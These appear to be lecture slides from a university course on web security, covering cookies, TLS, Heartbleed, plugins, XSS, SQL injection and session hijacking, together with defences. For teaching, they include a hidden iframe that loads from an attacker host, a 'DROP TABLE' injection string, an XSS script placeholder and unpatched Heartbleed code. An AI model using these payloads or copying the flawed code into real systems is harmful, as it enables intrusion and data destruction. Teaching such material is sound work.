CS 5410 - Computer and Network Security: Web Security

Professor Patrick Traynor
Fall 2017
End of the Semester - Almost

• We have just about three weeks of class left!
• Please spend a few minutes to fill out the online course evaluation.
• Are you working on your posters yet?
Network vs. Web Security
What is the web?

- A collection of application-layer services used to distribute content
  - Web content (HTML)
  - Multimedia
  - Email
  - Instant messaging
- Many applications
  - News outlets, entertainment, education, research and technology, …
  - Commercial, consumer and B2B
Web security: the high bits

• The largest distributed system in existence
  ▶ threats are as diverse as applications and users
  ▶ But need to be thought out carefully …

• The stakeholders are …
  ▶ Consumers (users, businesses, agents, …)
  ▶ Providers (web-servers, IM services, …)

• Another way of seeing web security is
  ▶ Securing the web infrastructure such that the integrity, confidentiality, and availability of content and user information is maintained
Early Web Systems

- Early web systems provided a click-render-click cycle of acquiring web content.
- Web content consisted of static content with little user interaction.
Adding State to the Web: Cookies

- Cookies were designed to offload server state to browsers
  - Not initially part of web tools (Netscape)
  - Allows users to have cohesive experience
  - E.g., flow from page to page,

- Someone made a design choice
  - Use cookies to authenticate and authorize users
  - E.g. Amazon.com shopping cart, WSJ.com
Cookie Issues . . .

- New design choice means
  - Cookies must be protected
  - Against forgery (integrity)
  - Against disclosure (confidentiality)
- Cookies not robust against web designer mistakes, committed attackers
  - Were never intended to be
  - Need the same scrutiny as any other tech.

Many security problems arise out of a technology built for one thing incorrectly applied to something else.
Cookie Design I: bookbook.com

- Requirement: authenticate users on site

**bookbook.com**

- Design:
  1. Use digest authentication to login user
  2. Set cookie containing hashed username
  3. Check cookie for hashed username

- Q: Is there anything wrong with this design?
Cookie Design 2: bookbook.com

- Requirement: authenticate users on site

bookbook.com

- Design:
  1. use digest authentication to login user
  2. set cookie containing encrypted username
  3. check cookie for encrypted username

- Q: Is there anything wrong with this design?
Exercise: Cookie Design

• Design a secure cookie for bookbook.com that meets the following requirements

• Requirements
  • Users must be authenticated (assume digest completed)
  • Time limited (to 24 hours)
  • Unforgeable (only server can create)
  • Privacy-protected (username not exposed)
  • Location safe (cannot be replayed by another host)

\[ E\{k_s, \"host_ip:timestamp:username\"\} \]
But What About...
Web Transport Security: SSL

- Secure socket Layer (SSL/TLS)
- Used to authenticate servers
  - Uses certificates, “root” CAs
- Can authenticate clients
- Inclusive security protocol
- Security at the socket layer
  - Transport Layer Security (TLS)
  - Provides
    - authentication
    - confidentiality
    - integrity

Diagram:

- HTTP
- SSL
- TCP
- IP
SSL Handshake

(1) Client Hello (algorithms,...)
(2) Server Hello (alg. selection,)
(3) Server Certificate
(4) ClientKeyRequest
(5) ChangeCipherSuite
(6) ChangeCipherSuite
(7) Finished
(8) Finished
Simplified Protocol Detail

Participants: Alice/A (client) and Bob/B (server)

Crypto Elements: Random R, Certificate C, $k_i^+$ Public Key (of i)

Crypto Functions: Hash function $H(x)$, Encryption $E(k, d)$, Decryption $D(k, d)$, Keyed MAC $HMAC(k, d)$

1. Alice $\rightarrow$ Bob $R_A$

2. Bob $\rightarrow$ Alice $R_B, C_B$
   Alice pick pre-master secret $S$
   Alice calculate master secret $K = H(S, R_A, R_B)$

3. Alice $\rightarrow$ Bob $E(k_B^+, S), HMAC(K', CLNT' + [#1, #2])$
   Bob recover pre-master secret $S = D(k_B^-, E(k_B^+, S))$
   Bob calculate master secret $K = H(S, R_A, R_B)$

4. Bob $\rightarrow$ Alice $HMAC(K', SRV R' + [#1, #2])$

Note: Alice and Bob: IV Keys, Encryption Keys, and Integrity Keys 6 keys, where each key $k_i = g_i(K, R_A, R_B)$, and $g_i$ is key generator function.
Certificate Authorities are constantly in the news for high-profile compromises and blunders. Can they be trusted?
Solutions

- Alternatives/Enhancements to traditional CAs infrastructure:
  - Convergence: Distributed certificate verification
  - Cert Pinning: Remember the first cert and use it!
  - DANE: Use DNS to distribute SSL/TLS keys
  - CertShim overrides SSL behavior in client applications, providing certificate handling.
  - This research project is based out of UF!
Heartbleed Bug

- An implementation weakness in TLS/DTLS
- Not a fundamental issue with the protocols
- Allows an adversary to arbitrarily read memory
- What could they do with that?
- Server-side systems must be patched.
- How do you know if the systems you’re talking to are patched?
struct {
    HeartbeatMessageType type;
    uint16 payload_length;
    opaque payload[HeartbeatMessage.payload_length];
    opaque padding[padding_length];
} HeartbeatMessage;
The Code...

2412     /* Read type and payload length first */
2413     hbtype = *p++;
2414     n2s(p, payload);
2415     pl = p;
2416
2417     if (s->msg_callback)
2418         s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
2419                      &s->s3->rrec.data[0], s->s3->rrec.length,
2420                      s, s->msg_callback_arg);
2421
2422     if (hbtype == TLS1_HB_REQUEST)
2423         {
2424             unsigned char *buffer, *bp;
2425             int r;
2426
2427             /* Allocate memory for the response, size is 1 byte
2428                message type, plus 2 bytes payload length, plus
2429                payload, plus padding
2430                */
2431             buffer = OPENSSL_malloc(1 + 2 + payload + padding);
2432             bp = buffer;
2433
2434             /* Enter response type, length and copy payload */
2435             *bp++ = TLS1_HB_RESPONSE;
2436             s2n(payload, bp);
2437             memcpy(bp, pl, payload);
2438             r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
/* Read type and payload length first */
+   if (1 + 2 + 16 > s->s3->rrec.length)
+       return 0; /* silently discard */
+   hbtype = *p++;
+   n2s(p, payload);
+   if (1 + 2 + payload + 16 > s->s3->rrec.length)
+       return 0; /* silently discard per RFC 6520 sec.
+ 4 */
+   pl = p;
SSL Tradeoffs

• Pros
  ▶ Server authentication*
  ▶ GUI clues for users
  ▶ Built into every browser
  ▶ Easy to configure on the server
  ▶ Protocol has been analyzed like crazy

• Cons
  ▶ Users don't check certificates
  ▶ Too easy to obtain certificates
  ▶ Too many roots in the browsers
  ▶ Some settings are terrible
DC: Embedded Scripting

• Program placed directly in content, run on server upon request and output returned in content
  • MS active server pages (ASP)
  • PHP
  • mod_perl
  • server-side JavaScript
  • python, ...

• Nice at generating output
  • Dangerous if tied to user input
Applications/Plugins

• A **plugin** is a simply a program used by a browser to process content
  ▶ MIME type maps content to plugin
  ▶ Like any old application (e.g., RealAudio)
  ▶ Newer browsers have autoinstall features

• A kind of plug-in …
  ▶ (1997) David.exe
  ▶ “Free pornography …”

• Moral: beware of plugins
Drive by downloads

- **Traditional**: Using a deceptive means to get someone to install something on their own (spyware/adware)

- Once you have one, then it starts downloading lots of others, their friends, …

- **Modern**: The download happens without user knowledge or consent, and does its damage from there…
Active X

• ActiveX is a MS windows technology
  ‣ Really, just a way to run arbitrary code
  ‣ Called controls (.OCX), just programs
  ‣ Conforms to MS APIs to interact with web
• Extends user experience in lots of nice ways
  ‣ Microsoft upgrade service
  ‣ BIOS Upgrades
  ‣ Lookup services

• **Massive** security hole ....
Authenticode

- Problem: I need to run an application code on my machine, but I worry about security
- Solution: Make sure code only comes from people that you trust.
- Authenticode
  - Sign download content
  - Check that signer is “trusted”
  - Used for all Win* content
- Problem: Jan 2001
  - Verisign issued two bad MS
Web Systems Evolve ...

- The web has evolved from a *document retrieval* and rendering to sophisticated *distributed application platform* providing:
  - dynamic content
  - user-driven content
  - interactive interfaces
  - multi-site content content
  - ....

- With new interfaces comes new vulnerabilities ...
The new web-page

- Rendered elements from many sources containing *scripts*, *images*, and stylized by *cascading style sheets* (CSS)

- A browser may be compromised by any of these elements
AJAX

• **AJAX**: asynchronous JavaScript and XML

  • A collection of approaches to implementing web applications

  • Changes the click-render-click web interface to allow webpages to be interactive, change, etc.

  • Examples: Google Gmail/Calendar, Facebook, ...

  • Hidden requests that replace document elements (DOM)
Malicious IFrame(s)

- An IFRAME is a HTML tag that creates an embedded frame in the content of another page.
- This is the attack vector de jour for adversaries attempting to deliver content that exploits browser vulnerabilities.
- E.g., deliver crafted .jpg or malicious scripting
- The attack occurs when the adversary breaks into a webserver and places a IFRAME in legitimate content
- E.g., by sniffing passwords, recursively adding IFRAMEs

<iframe src=http://[REMOVED].info/counter style=display:none></iframe>
Cross-Site Scripting

• Note Assume the following is posted to a message board on your favorite website:

   Hello message board.
   <SCRIPT>malicious code</SCRIPT>
   This is the end of my message.

• Now a reasonable ASP (or some other dynamic content generator) uses the input to create a webpage (e.g., blogger nonsense).

• Now a malicious script is now running
  ▶ Applet, ActiveX control, JavaScript…
XSS Exercise

• Head to the following website: http://www.steve.org.uk/Security/XSS/Tutorial/

• Complete points 2 through 6 with a partner.
Follow Up

• The author suggests using other techniques than “<script>” to avoid filtering. Are there other techniques?
  • <script>Hello</script> = &ltscript&gtHello&lt/script&gt

• Why would you want to steal a cookie?
• What else can you do?

• How do you solve this class of attack in general?
SQL Injection

• An injection that exploits the fact that many inputs to web applications are
  • under control of the user
  • used directly in SQL queries against back-end databases

• Bad buy just inserts escaped code into the input...

  ```
  SELECT email, login, last_name
  FROM user_table
  WHERE email = 'x'; DROP TABLE members; --'
  ```

• This vulnerability became one of the most widely exploited and costly in web history.

  • Industry reported as many as 16% of website were vulnerable to SQL injection in 2007
  • This may be inflated, but clearly an ongoing problem.
Preventing SQL injection

- Use the SQL/perl `prevent` libraries

- Before

```php
$sql = "select * from some_table where some_col = $input";
$sth = $dbh->prepare( $sql );
$sth->execute;
```

- After

```php
$sql = "select * from some_table where some_col = ?";
$sth = $dbh->prepare( $sql );
$sth->execute( $input );
```

- Other approaches: have built (static analysis) tools for finding unsafe input code and (dynamic tools) to track the use of inputs within the web application lifetime.
Taint Tracking

- Taint Tracking is the most common program analysis technique used to detect and prevent injection attacks
  - Can be done statically or dynamically (e.g., Perl taint tracking)
- Marks all input data as tainted (i.e., untrusted)
- Track all derivative information, e.g., if “c” is tainted, then “a = b + c” causes “a” to be tainted
- Removes the taint flag when data is sanitized
  - This can be hard to get right
- At the sensitive operation (e.g., SQL query API), simply looks for tainted input
Session Hijacking

- Virtual sessions are implemented in many ways
  - session ID in cookies, URLs
  - If I can guess, infer, or steal the session ID, game over
  - Example, if your bank encodes the session ID in the url, then a malicious attacker can simply keep trying session IDs until gets a good one.

```
http://www.mybank.com/loggedin?sessionid=11
```

- ... note that if the user was logged in, then the attacker has full control over that account.

- **Countermeasure**: randomized, confidential session IDs that are tied to individual host address (see cookies)
Preventing Web System Attacks

• Largely just applications
  ▶ In as much as applications are secure
  ▶ Command shells, interpreters, are dangerous

• Broad Approaches
  ▶ Validate input (also called input sanitization)
  ▶ Limit program functionality
    • Don't leave open ended-functionality
  ▶ Execute with limited privileges
  ▶ Input tracking, e.g., taint tracking
  ▶ Source code analysis, e.g., c-cured